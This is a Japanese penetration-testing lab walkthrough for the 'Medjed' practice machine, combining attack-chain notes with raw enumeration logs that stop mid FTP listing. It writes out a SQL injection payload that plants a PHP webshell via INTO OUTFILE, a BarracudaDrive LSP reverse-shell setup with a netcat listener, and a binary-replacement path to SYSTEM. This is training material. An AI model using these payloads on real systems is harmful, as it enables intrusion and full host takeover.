Medjed¶
Flag-Critical Knowledge¶
/slug のSQLインジェクション¶
33033/tcpの Request Profile SLUG (experimental) は、URL パラメータがMariaDBのSQL文へ安全に処理されずに渡される。
単一引用符、真偽条件、SLEEP() の応答時間差でSQLインジェクションを確認できる。
curl -i -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL='"
curl -i -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
curl -i -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR 1=2-- -"
time curl -sG "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR SLEEP(0)-- -" -o /dev/null
time curl -sG "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR SLEEP(3)-- -" -o /dev/null
MariaDBの INTO OUTFILE を利用すると、XAMPPのWebルートへPHP webshellを書き込める。
curl -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/cmd.php'-- -"
curl "http://$TARGET_IP:45332/cmd.php?cmd=whoami"
45332/tcpのApacheはJerrenとして動作するため、PHP webshellから実行したコマンドも MEDJED\Jerren になる。
BarracudaDriveとLSP(Lua Server Pages)¶
Barracuda系のサーバーにはLua/LSP実行機能がある。LSP対応の公開ディレクトリに .lsp ファイルを配置してHTTPアクセスすると、内部のLuaコードがサーバー側で実行される。
Medjedでは C:\bd\cmsdocs が8000/tcpの公開ディレクトリであり、BarracudaDriveの bd.exe はSYSTEMとして動作している。そのため、rev.lsp を配置してアクセスするとSYSTEM権限のリバースシェルを直接取得できる。
参考:
トリガー、攻撃パターン¶
SQLインジェクションからJerrenを取得¶
URL='でActiveRecord::StatementInvalidとMysql2::Errorが表示される。OR 1=1とOR 1=2でレスポンスに差が出る。SLEEP(0)とSLEEP(3)で応答時間に差が出る。- DBMSがMariaDBで、
C:\xampp\htdocsが45332/tcpのWebルートとして公開されている。 UNION SELECT ... INTO OUTFILEでPHP webshellを配置し、Jerrenとしてコマンドを実行できる。
単一引用符でSQLエラー
→ 真偽条件とSLEEPでSQLインジェクションを確認
→ INTO OUTFILEでC:\xampp\htdocs\cmd.phpを作成
→ 45332/tcpからcmd.phpへアクセス
→ Jerrenとしてコード実行
BarracudaDriveのLSPからSYSTEMを直接取得¶
- 8000/tcpが
BarracudaServer.com (Windows)と判定される。 dirsearchでWebルート直下の/favicon.icoが見つかる。- Web File Serverから
C:\bd配下を参照・変更できる。 C:\bd\cmsdocs\favicon.icoが見つかり、C:\bd\cmsdocsと8000/tcpのWebルートを対応付けられる。- 8000/tcpを提供する
bd.exeがSYSTEMとして動作している。 - 書き込み可能な公開ディレクトリへ
.lspを配置できる場合、HTTPアクセスをトリガーにSYSTEM権限でLuaコードが実行される。
dirsearch -u "http://$TARGET_IP:8000/" -e php,txt,bak,zip,conf -x 404
http://TARGET_IP:8000/fs/C/bd/
http://TARGET_IP:8000/fs/C/bd/cmsdocs/
git clone https://github.com/the-emmons/lsp-reverse-shell
cd lsp-reverse-shell
sudo impacket-smbserver SMB . -comment share -ts -debug -smb2support -username user -password 'pass'
sudo nc -nlvp 135
curl "http://$TARGET_IP:8000/rev.lsp"
BarracudaDrive + 書き込み可能なLSP対応Webルート
→ rev.lspをC:\bd\cmsdocsへ配置
→ HTTP GETでLSPを実行
→ bd.exeの実行権限を継承
→ NT AUTHORITY\SYSTEM
attack summary¶
BarracudaDrive Config-Wizard
→ set/reset admin credentials
→ access BarracudaDrive management
→ web app / slug parameter SQLi
→ MySQL OUTFILE to XAMPP webroot
→ PHP webshell
→ reverse shell as Jerren
→ local flag
→ 45332/tcp は Jerren、8000/tcp の bd.exe は SYSTEM で動作
→ 書き込み可能な C:\bd\bd.exe を差し替えて再起動
→ SYSTEM shell
→ proof flag
別解①:
UserproMedjed(33033/tcp)
→ jerren.devops のパスワードをリセット
→ /slug の URL パラメータで SQL injection
→ INTO OUTFILE で C:\xampp\htdocs\cmd.php を作成
→ 45332/tcp から PHP webshell を実行
→ reverse shell as Jerren
→ local flag
→ 書き込み可能な C:\bd\bd.exe を差し替えて再起動
→ SYSTEM shell
→ proof flag
別解②:
BarracudaDrive / FuguHub(8000/tcp)
→ 書き込み可能な公開ディレクトリへ rev.lsp を配置
→ rev.lsp にアクセスしてリバースシェルを実行
→ SYSTEM shell
→ proof flag
walkthrough(生メモ)¶
192.168.240.127
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-21 15:40 JST
Nmap scan report for 192.168.240.127
Host is up (0.078s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5040/tcp open unknown
8000/tcp open http-alt BarracudaServer.com (Windows)
|_http-server-header: BarracudaServer.com (Windows)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
| Server Type: BarracudaServer.com (Windows)
|_ Server Date: Mon, 21 Sep 2026 06:43:36 GMT
| fingerprint-strings:
| FourOhFourRequest, Socks5:
| HTTP/1.1 200 OK
| Date: Mon, 21 Sep 2026 06:41:09 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| GenericLines, GetRequest:
| HTTP/1.1 200 OK
| Date: Mon, 21 Sep 2026 06:41:03 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Date: Mon, 21 Sep 2026 06:41:14 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| SIPOptions:
| HTTP/1.1 400 Bad Request
| Date: Mon, 21 Sep 2026 06:42:18 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| Content-Type: text/html
| Cache-Control: no-store, no-cache, must-revalidate, max-age=0
|_ <html><body><h1>400 Bad Request</h1>Can't parse request<p>BarracudaServer.com (Windows)</p></body></html>
| http-methods:
|_ Potentially risky methods: PROPFIND PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
30021/tcp open ftp FileZilla ftpd 0.9.41 beta
|_ftp-bounce: bounce working!
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp 536 Nov 03 2020 .gitignore
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 app
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 bin
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 config
| -r--r--r-- 1 ftp ftp 130 Nov 03 2020 config.ru
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 db
| -r--r--r-- 1 ftp ftp 1750 Nov 03 2020 Gemfile
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 lib
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 log
| -r--r--r-- 1 ftp ftp 66 Nov 03 2020 package.json
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 public
| -r--r--r-- 1 ftp ftp 227 Nov 03 2020 Rakefile
| -r--r--r-- 1 ftp ftp 374 Nov 03 2020 README.md
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 test
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 tmp
|_drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 vendor
33033/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
| Content-Type: text/html; charset=UTF-8
| Content-Length: 3102
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8" />
| <title>Action Controller: Exception caught</title>
| <style>
| body {
| background-color: #FAFAFA;
| color: #333;
| margin: 0px;
| body, p, ol, ul, td {
| font-family: helvetica, verdana, arial, sans-serif;
| font-size: 13px;
| line-height: 18px;
| font-size: 11px;
| white-space: pre-wrap;
| pre.box {
| border: 1px solid #EEE;
| padding: 10px;
| margin: 0px;
| width: 958px;
| header {
| color: #F0F0F0;
| background: #C52F24;
| padding: 0.5em 1.5em;
| margin: 0.2em 0;
| line-height: 1.1em;
| font-size: 2em;
| color: #C52F24;
| line-height: 25px;
| .details {
|_ bord
44330/tcp open ssl/unknown
|_ssl-date: 2026-09-21T06:44:05+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time Logic/stateOrProvinceName=CA/countryName=US
| Not valid before: 2009-08-27T14:40:47
|_Not valid after: 2019-08-25T14:40:47
| fingerprint-strings:
| RTSPRequest:
| HTTP/1.1 200 OK
| Date: Mon, 21 Sep 2026 06:41:17 GMT
| Server: BarracudaServer.com (Windows)
|_ Connection: Close
45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-title: Quiz App
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods:
|_ Potentially risky methods: TRACE
45443/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
|_http-title: Quiz App
| http-methods:
|_ Potentially risky methods: TRACE
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.95%I=7%D=9/21%Time=6AB0D17F%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2021\x20S
SF:ep\x202026\x2006:41:03\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(W
SF:indows\)\r\nConnection:\x20Close\r\n\r\n")%r(GetRequest,72,"HTTP/1\.1\x
SF:20200\x20OK\r\nDate:\x20Mon,\x2021\x20Sep\x202026\x2006:41:03\x20GMT\r\
SF:nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\x20Close
SF:\r\n\r\n")%r(FourOhFourRequest,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20M
SF:on,\x2021\x20Sep\x202026\x2006:41:09\x20GMT\r\nServer:\x20BarracudaServ
SF:er\.com\x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n")%r(Socks5,72,"H
SF:TTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2021\x20Sep\x202026\x2006:41:09
SF:\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection
SF::\x20Close\r\n\r\n")%r(HTTPOptions,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\
SF:x20Mon,\x2021\x20Sep\x202026\x2006:41:14\x20GMT\r\nServer:\x20Barracuda
SF:Server\.com\x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n")%r(RTSPRequ
SF:est,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2021\x20Sep\x202026\x2
SF:006:41:14\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nC
SF:onnection:\x20Close\r\n\r\n")%r(SIPOptions,13C,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nDate:\x20Mon,\x2021\x20Sep\x202026\x2006:42:18\x20GMT\r\
SF:nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\x20Close
SF:\r\nContent-Type:\x20text/html\r\nCache-Control:\x20no-store,\x20no-cac
SF:he,\x20must-revalidate,\x20max-age=0\r\n\r\n<html><body><h1>400\x20Bad\
SF:x20Request</h1>Can't\x20parse\x20request<p>BarracudaServer\.com\x20\(Wi
SF:ndows\)</p></body></html>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port33033-TCP:V=7.95%I=7%D=9/21%Time=6AB0D17F%P=aarch64-unknown-linux-g
SF:nu%r(GenericLines,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Ge
SF:tRequest,C76,"HTTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/ht
SF:ml;\x20charset=UTF-8\r\nContent-Length:\x203102\r\n\r\n<!DOCTYPE\x20htm
SF:l>\n<html\x20lang=\"en\">\n<head>\n\x20\x20<meta\x20charset=\"utf-8\"\x
SF:20/>\n\x20\x20<title>Action\x20Controller:\x20Exception\x20caught</titl
SF:e>\n\x20\x20<style>\n\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x2
SF:0background-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x20\x20color:\x20#333;
SF:\n\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20\x20\x20}\n\n\x20\x2
SF:0\x20\x20body,\x20p,\x20ol,\x20ul,\x20td\x20{\n\x20\x20\x20\x20\x20\x20
SF:font-family:\x20helvetica,\x20verdana,\x20arial,\x20sans-serif;\n\x20\x
SF:20\x20\x20\x20\x20font-size:\x20\x20\x2013px;\n\x20\x20\x20\x20\x20\x20
SF:line-height:\x2018px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20pre\x20{\n\
SF:x20\x20\x20\x20\x20\x20font-size:\x2011px;\n\x20\x20\x20\x20\x20\x20whi
SF:te-space:\x20pre-wrap;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20pre\.box\x
SF:20{\n\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#EEE;\n\x20\x20
SF:\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x20\x20margin:\x200
SF:px;\n\x20\x20\x20\x20\x20\x20width:\x20958px;\n\x20\x20\x20\x20}\n\n\x2
SF:0\x20\x20\x20header\x20{\n\x20\x20\x20\x20\x20\x20color:\x20#F0F0F0;\n\
SF:x20\x20\x20\x20\x20\x20background:\x20#C52F24;\n\x20\x20\x20\x20\x20\x2
SF:0padding:\x200\.5em\x201\.5em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h1
SF:\x20{\n\x20\x20\x20\x20\x20\x20margin:\x200\.2em\x200;\n\x20\x20\x20\x2
SF:0\x20\x20line-height:\x201\.1em;\n\x20\x20\x20\x20\x20\x20font-size:\x2
SF:02em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h2\x20{\n\x20\x20\x20\x20\x
SF:20\x20color:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20line-height:\x2025px;
SF:\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\.details\x20{\n\x20\x20\x20\x20
SF:\x20\x20bord")%r(HTTPOptions,C76,"HTTP/1\.0\x20403\x20Forbidden\r\nCont
SF:ent-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\x203102\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20<meta\x2
SF:0charset=\"utf-8\"\x20/>\n\x20\x20<title>Action\x20Controller:\x20Excep
SF:tion\x20caught</title>\n\x20\x20<style>\n\x20\x20\x20\x20body\x20{\n\x2
SF:0\x20\x20\x20\x20\x20background-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x2
SF:0\x20color:\x20#333;\n\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20
SF:\x20\x20}\n\n\x20\x20\x20\x20body,\x20p,\x20ol,\x20ul,\x20td\x20{\n\x20
SF:\x20\x20\x20\x20\x20font-family:\x20helvetica,\x20verdana,\x20arial,\x2
SF:0sans-serif;\n\x20\x20\x20\x20\x20\x20font-size:\x20\x20\x2013px;\n\x20
SF:\x20\x20\x20\x20\x20line-height:\x2018px;\n\x20\x20\x20\x20}\n\n\x20\x2
SF:0\x20\x20pre\x20{\n\x20\x20\x20\x20\x20\x20font-size:\x2011px;\n\x20\x2
SF:0\x20\x20\x20\x20white-space:\x20pre-wrap;\n\x20\x20\x20\x20}\n\n\x20\x
SF:20\x20\x20pre\.box\x20{\n\x20\x20\x20\x20\x20\x20border:\x201px\x20soli
SF:d\x20#EEE;\n\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20
SF:\x20\x20margin:\x200px;\n\x20\x20\x20\x20\x20\x20width:\x20958px;\n\x20
SF:\x20\x20\x20}\n\n\x20\x20\x20\x20header\x20{\n\x20\x20\x20\x20\x20\x20c
SF:olor:\x20#F0F0F0;\n\x20\x20\x20\x20\x20\x20background:\x20#C52F24;\n\x2
SF:0\x20\x20\x20\x20\x20padding:\x200\.5em\x201\.5em;\n\x20\x20\x20\x20}\n
SF:\n\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20margin:\x200\.2em\x2
SF:00;\n\x20\x20\x20\x20\x20\x20line-height:\x201\.1em;\n\x20\x20\x20\x20\
SF:x20\x20font-size:\x202em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h2\x20{
SF:\n\x20\x20\x20\x20\x20\x20color:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20l
SF:ine-height:\x2025px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\.details\x2
SF:0{\n\x20\x20\x20\x20\x20\x20bord");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port44330-TCP:V=7.95%T=SSL%I=7%D=9/21%Time=6AB0D18D%P=aarch64-unknown-l
SF:inux-gnu%r(RTSPRequest,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x202
SF:1\x20Sep\x202026\x2006:41:17\x20GMT\r\nServer:\x20BarracudaServer\.com\
SF:x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-09-21T06:43:39
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.48 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-21 15:45 JST
Nmap scan report for 192.168.240.127
Host is up (0.079s latency).
Not shown: 5 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
500/udp open|filtered isakmp
1028/udp open|filtered ms-lsa
1900/udp open|filtered upnp
2000/udp open|filtered cisco-sccp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 243.83 seconds
[*] Scan completed.
┌──(kali@kali)-[~/oscp/pGpractice/Medjed]
PORT STATE SERVICE VERSION
smb列挙
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
nxc smb 192.168.240.127
nxc smb 192.168.240.127 -u '' -p ''
nxc smb 192.168.240.127 -u guest -p ''
smbclient -L //192.168.240.127 -N
rpcclient -U "" -N 192.168.240.127
rpcclient -U "" -N 192.168.240.127 -c "enumdomusers"
rpcclient -U "" -N 192.168.240.127 -c "querydispinfo"
enum4linux-ng 192.168.240.127
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ nxc smb 192.168.240.127
SMB 192.168.240.127 445 MEDJED [*] Windows 10 / Server 2019 Build 19041 x64 (name:MEDJED) (domain:medjed) (signing:False) (SMBv1:False)
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ nxc smb 192.168.240.127 -u '' -p ''
SMB 192.168.240.127 445 MEDJED [*] Windows 10 / Server 2019 Build 19041 x64 (name:MEDJED) (domain:medjed) (signing:False) (SMBv1:False)
SMB 192.168.240.127 445 MEDJED [-] medjed\: STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ nxc smb 192.168.240.127 -u guest -p ''
SMB 192.168.240.127 445 MEDJED [*] Windows 10 / Server 2019 Build 19041 x64 (name:MEDJED) (domain:medjed) (signing:False) (SMBv1:False)
SMB 192.168.240.127 445 MEDJED [-] medjed\guest: STATUS_ACCOUNT_DISABLED
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ smbclient -L //192.168.240.127 -N
session setup failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ rpcclient -U "" -N 192.168.240.127
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ enum4linux-ng 192.168.240.127
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 192.168.240.127
[*] Username ......... ''
[*] Random Username .. 'kidkeonf'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
========================================
| Listener Scan on 192.168.240.127 |
========================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
==============================================================
| NetBIOS Names and Workgroup/Domain for 192.168.240.127 |
==============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
============================================
| SMB Dialect Check on 192.168.240.127 |
============================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: false
==============================================================
| Domain Information via SMB session for 192.168.240.127 |
==============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: MEDJED
NetBIOS domain name: ''
DNS domain: medjed
FQDN: medjed
Derived membership: workgroup member
Derived domain: unknown
============================================
| RPC Session Check on 192.168.240.127 |
============================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
[-] Sessions failed, neither null nor user sessions were possible
==================================================
| OS Information via RPC for 192.168.240.127 |
==================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '2004'
OS build: '19041'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
[!] Aborting remainder of tests since sessions failed, rerun with valid credentials
Completed after 8.14 seconds
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$
mysql列挙
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
nmap --script mysql-info,mysql-enum -p3306 192.168.240.127
mysql -h 192.168.240.127 -u root -p
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ nmap --script mysql-info,mysql-enum -p3306 192.168.240.127
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-22 21:31 JST
Nmap scan report for 192.168.240.127
Host is up (0.080s latency).
PORT STATE SERVICE
3306/tcp open mysql
| mysql-enum:
| Accounts: No valid accounts found
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ mysql -h 192.168.240.127 -u root -p
Enter password:
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.45.237' is not allowed to connect to this MariaDB server
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$
FTP列挙
30021/tcp open ftp FileZilla ftpd 0.9.41 beta
|ftp-bounce: bounce working!
| ftp-syst:
| SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp 536 Nov 03 2020 .gitignore
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 app
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 bin
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 config
| -r--r--r-- 1 ftp ftp 130 Nov 03 2020 config.ru
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 db
| -r--r--r-- 1 ftp ftp 1750 Nov 03 2020 Gemfile
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 lib
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 log
| -r--r--r-- 1 ftp ftp 66 Nov 03 2020 package.json
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 public
| -r--r--r-- 1 ftp ftp 227 Nov 03 2020 Rakefile
| -r--r--r-- 1 ftp ftp 374 Nov 03 2020 README.md
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 test
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 tmp
|_drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 vendor
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ nmap --script ftp-anon,ftp-syst -p "30021" "192.168.240.127"
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-22 21:33 JST
Nmap scan report for 192.168.240.127
Host is up (0.080s latency).
PORT STATE SERVICE
30021/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ ftp "192.168.240.127" "30021"
Connected to 192.168.240.127.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.240.127:kali): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bin
200 Type set to I
ftp> ls
229 Entering Extended Passive Mode (|||50639|)
150 Connection accepted
-r--r--r-- 1 ftp ftp 536 Nov 03 2020 .gitignore
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 app
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 bin
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 config
-r--r--r-- 1 ftp ftp 130 Nov 03 2020 config.ru
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 db
-r--r--r-- 1 ftp ftp 1750 Nov 03 2020 Gemfile
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 lib
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 log
-r--r--r-- 1 ftp ftp 66 Nov 03 2020 package.json
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 public
-r--r--r-- 1 ftp ftp 227 Nov 03 2020 Rakefile
-r--r--r-- 1 ftp ftp 374 Nov 03 2020 README.md
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 test
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 tmp
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 vendor
226 Transfer OK
ftp> exit
221 Goodbye
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ echo "test" > test.txt
┌──(kali@kali)-[~/…/pGpractice/Medjed/192.168.240.127/lsp-reverse-shell]
└─$ ftp "192.168.240.127" "30021"
Connected to 192.168.240.127.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.240.127:kali): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bin
200 Type set to I
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||50642|)
550 Permission denied
ftp> ls
229 Entering Extended Passive Mode (|||50643|)
150 Connection accepted
-r--r--r-- 1 ftp ftp 536 Nov 03 2020 .gitignore
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 app
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 bin
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 config
-r--r--r-- 1 ftp ftp 130 Nov 03 2020 config.ru
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 db
-r--r--r-- 1 ftp ftp 1750 Nov 03 2020 Gemfile
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 lib
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 log
-r--r--r-- 1 ftp ftp 66 Nov 03 2020 package.json
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 public
-r--r--r-- 1 ftp ftp 227 Nov 03 2020 Rakefile
-r--r--r-- 1 ftp ftp 374 Nov 03 2020 README.md
drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 test
